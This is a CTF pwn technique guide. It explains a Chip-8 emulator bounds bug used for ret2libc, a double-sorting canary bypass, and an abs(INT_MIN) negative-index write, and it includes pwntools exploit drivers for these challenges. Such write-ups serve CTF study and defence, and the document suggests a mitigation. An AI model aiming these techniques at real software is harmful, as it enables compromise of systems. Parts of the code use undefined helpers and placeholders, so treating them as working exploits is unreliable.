CTF Pwn - Advanced Exploit Techniques (Part 5)
Data-interpretation exploitation — cases where the vulnerable program reinterprets attacker-controlled data (bytecode, floats, hash values) in ways that bypass bounds checks or stack protection. For earlier advanced exploits, see advanced-exploits.md, advanced-exploits-2.md, advanced-exploits-3.md, and advanced-exploits-4.md.
Table of Contents
- Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
- Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
- Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
Pattern: A SUID Chip-8 emulator executes untrusted guest bytecode. Guest memory is nominally 4 KB but the I register is 16 bits, and the emulator's LD [I], Vx / LD Vx, [I] opcodes perform no bounds check. The guest writes 16-bit offsets that reach past mem[4096] into the host stack, leaking a libc return address and then overwriting the saved RIP with a one-gadget.
; Chip-8 pseudo-assembly: read 8 bytes from host stack offset 6360
ANNN ; LD I, 0x18D8 (6360 — tuned from a gdb run)
F865 ; LD V0..V7, [I] (libc address now in V0..V7)
; Print hex or send back via the emulator's debug channel# Host-side exploit driver
from pwn import *
elf = ELF("./chip8")
libc = ELF("./libc.so.6")
# 1. Build a program that reads 8 bytes at offset 6360, then writes the
# one-gadget RIP back to the same offset.
one_gadget = libc.address + 0x45226
prog = asm_chip8([
("LD I", 0x18D8),
("LD V0..V7, [I]", None), # V0..V7 = leaked libc pointer
# Derive libc base (subtract known offset) and rewrite RIP:
("XOR Vx, <delta>", None),
("LD I", 0x18D8),
("LD [I], V0..V7", None),
])
io = process(["./chip8", prog])
io.interactive()Key insight: Emulators that expose a narrower address space than their register file invite bounds-check gaps. Any time a "small" memory buffer is addressed by a wider register, the bytes beyond the declared buffer are the real target. On Linux this usually lands you in libc first (stack saved registers, then __libc_start_main return). The trick is calibrating the offset once in gdb; the rest is regular ret2libc with the emulator as an arbitrary-read/write primitive.
References: IceCTF 2018 — Twitter, writeup 11047
Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
Pattern: The vulnerable program reads an array of double values from the user, runs qsort, then prints the sorted floats. Return address and stack canary live in the same frame reinterpreted as doubles. Because qsort orders the entire frame by IEEE-754 value, an attacker picks input floats whose bit patterns land the correct canary back in the canary slot after the sort — while overwriting the saved RIP slot with a crafted float that re-interprets as a valid win-function address.
from pwn import *
import struct
def f2u(d): # double → raw bytes
return struct.pack("<d", d)
def u2f(b): # raw bytes → double
return struct.unpack("<d", b)[0]
win = 0x400837 # win-function address
canary_d = u2f(p64(0xDEADBEEFCAFEBABE)) # canary bytes interpreted as double
# Inputs chosen so that post-qsort order places:
# slot 0 → fake canary (same bits as the real one)
# slot 1 → win()/ret gadget value
payload = [
canary_d,
u2f(p64(win).ljust(8, b"\x00")),
-1.1, # padding
-20.1, # padding
]
io = process("./doubletrouble")
io.sendline(" ".join(repr(x) for x in payload))
io.interactive()Key insight: When a program reinterprets the stack frame as numeric data and sorts it, the attacker no longer needs a write primitive — the sort itself is the write. Pick floats whose IEEE-754 representation collides with the target bit pattern (canary, return address, saved RBP), then arrange them so the sort order moves them into place. Works against stack canaries because the original canary is already in the frame; you just need to stuff an identical double in another slot and let the sort re-seat it.
References: CSAW CTF Qualification Round 2018 — doubletrouble, writeups 11201, 11213, 11220
Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
Pattern: A bloom filter computes bits[abs(hash) % size] to mark entries. abs(INT_MIN) is undefined in C and glibc returns INT_MIN unchanged, so abs(INT_MIN) % 62 == -2. Because size is 62 and the bits array is immediately followed by a linked_lists array in BSS, the -2 index resolves to a controlled write into the linked-list metadata, hijacking a function pointer that the next allocator call will dereference.
// Vulnerable code
int idx = abs(key_hash) % BLOOM_SIZE;
bits[idx] = 1; // idx can be negative# Crafting the input so that hash(input) == INT_MIN (0x80000000).
# Many toy bloom filters use FNV-1a or multiplicative hashes; a short
# brute-force finds a colliding prefix in seconds.
from pwn import *
def fnv1a(data):
h = 0x811c9dc5
for b in data:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
for i in range(1 << 32):
s = f"{i:x}".encode()
if fnv1a(s) == 0x80000000:
print("collide", s); breakKey insight: The attack surface is not the bloom filter itself but the two-line composition abs() % size. abs(INT_MIN) returns INT_MIN (undefined behaviour but consistent on x86-64 glibc), so the modulo preserves the sign and indexes backwards through the array. Any adjacent struct in BSS with a function pointer near offset -2 becomes a write-what-where. Mitigate with (unsigned)hash % size or hash & (size-1) for power-of-two sizes.
References: DragonCTF Teaser 2018 — Fast Storage, writeup 11460